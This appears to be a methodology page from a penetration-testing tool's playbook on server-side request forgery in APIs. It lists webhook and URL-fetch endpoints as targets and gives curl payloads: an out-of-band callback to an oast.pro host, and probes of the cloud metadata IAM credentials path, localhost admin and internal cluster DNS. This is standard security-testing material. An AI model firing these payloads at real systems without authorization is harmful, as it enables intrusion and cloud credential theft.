API SSRF (OWASP API7)

Purpose

Test API endpoints that fetch, validate, or process external URLs for server-side request forgery.

Preconditions

• Identified an API endpoint that accepts a URL, hostname, webhook address, or file reference
• An OOB callback domain (from Xalgorix's oob_callback tool or interactsh)

Attack Surface Signals

• Webhook registration endpoints (accept a callback URL)
• URL preview/screenshot endpoints
• File import from URL endpoints
• Link validation or unfurling
• PDF/image generation from URL
• Avatar/profile picture from URL
• Integration/OAuth callback URLs
• Import from external service endpoints

Methodology

Step 1: Identify SSRF Candidates

Look for API parameters that accept:

• Full URLs (url, callback_url, webhook_url, image_url)
• Hostnames (host, domain, target)
• File paths (file, path, source)
• Feed/document URLs (feed_url, doc_url, import_url)

Step 2: Baseline with OOB Callback

# Generate an OOB callback token
# (use Xalgorix's oob_callback tool or interactsh)

# Test with the callback URL
curl -sk -X POST "https://TARGET/api/webhooks/register" \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url":"https://OOB_TOKEN.oast.pro/test"}'

# Poll for the callback (OOB interaction proves the server made the request)

Step 3: Internal Network Probing

# Cloud metadata endpoints
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Internal services
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://localhost:8080/admin"}'

# Internal DNS
curl -sk -X POST "https://TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://internal-service.namespace.svc.cluster.local:8080/"}'